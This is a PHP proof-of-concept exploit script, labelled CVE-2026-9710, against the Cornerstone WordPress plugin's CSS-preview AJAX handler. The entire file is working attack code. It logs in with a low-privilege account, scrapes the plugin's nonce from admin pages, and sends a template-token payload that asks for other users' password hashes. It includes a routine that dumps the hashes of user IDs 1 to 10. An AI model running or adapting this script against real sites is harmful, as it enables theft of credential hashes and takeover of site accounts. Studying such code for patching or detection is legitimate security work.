<?php
/**
* CVE-2026-9710 PoC - Cornerstone WordPress Plugin Sensitive Data Disclosure
* Exploits missing capability checks on CSS-preview request handler
* to disclose arbitrary user metadata including password hashes.
*
* Requirements:
* - A valid low-privilege WordPress account (e.g., subscriber)
* - Target WordPress site running Cornerstone < 7.8.8 (bundled with X theme)
*
* Usage:
* php poc.php
*/
class CornerstoneExploit {
private $base_url;
private $cookie_jar;
private $nonce;
public function __construct($base_url) {
$this->base_url = rtrim($base_url, '/');
$this->cookie_jar = tempnam(sys_get_temp_dir(), 'cookies_');
}
/**
* Step 1: Login with low-privilege credentials
*/
public function login($username, $password) {
// Obtain login nonce from wp-login.php
$login_page = $this->http_get('/wp-login.php');
preg_match('/name="woocommerce-login-nonce" value="([^"]+)"/', $login_page, $matches);
$login_nonce = $matches[1] ?? '';
$post_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => '/wp-admin/',
'testcookie' => '1',
'woocommerce-login-nonce' => $login_nonce,
]);
$this->http_post('/wp-login.php', $post_data);
echo "[+] Logged in as: {$username}\n";
}
/**
* Step 2: Extract Cornerstone nonce from any wp-admin page
*/
public function extract_nonce() {
$admin_page = $this->http_get('/wp-admin/');
// Cornerstone exposes its nonce in admin pages for low-priv users
preg_match('/cornerstone_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']/i', $admin_page, $matches);
preg_match('/cs_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']/i', $admin_page, $matches2);
preg_match('/"_cornerstone_nonce"\s*:\s*"([^"]+)"/', $admin_page, $matches3);
$this->nonce = $matches[1] ?? $matches2[1] ?? $matches3[1] ?? '';
if (empty($this->nonce)) {
// Fallback: search for any cornerstone-related nonce pattern
preg_match_all('/cornerstone[^,}]*["\']([a-f0-9]{10,})["\']/i', $admin_page, $all_matches);
$this->nonce = $all_matches[1][0] ?? '';
}
echo "[+] Extracted nonce: {$this->nonce}\n";
return $this->nonce;
}
/**
* Step 3: Exploit CSS-preview handler to evaluate dynamic content tokens
* against an arbitrary user and extract password hash
*/
public function extract_user_data($target_user_id) {
$payload = [
'action' => 'cs_css_preview',
'nonce' => $this->nonce,
'content' => "{{user:id={$target_user_id}|meta=user_pass}}",
'type' => 'css',
];
$response = $this->http_post(
'/wp-admin/admin-ajax.php',
http_build_query($payload)
);
echo "[+] Response for user {$target_user_id}:\n{$response}\n";
return $response;
}
/**
* Bulk extraction of password hashes for all users
*/
public function dump_all_users() {
for ($uid = 1; $uid <= 10; $uid++) {
$this->extract_user_data($uid);
}
}
private function http_get($path) {
$ch = curl_init($this->base_url . $path);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => $this->cookie_jar,
CURLOPT_COOKIEFILE => $this->cookie_jar,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function http_post($path, $data) {
$ch = curl_init($this->base_url . $path);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_COOKIEJAR => $this->cookie_jar,
CURLOPT_COOKIEFILE => $this->cookie_jar,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
]);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
}
// Example usage
$exploit = new CornerstoneExploit('https://target-wordpress-site.com');
$exploit->login('subscriber_user', 'password123'); // Low-priv account
$exploit->extract_nonce(); // Get CS nonce
$exploit->extract_user_data(1); // Dump admin password hash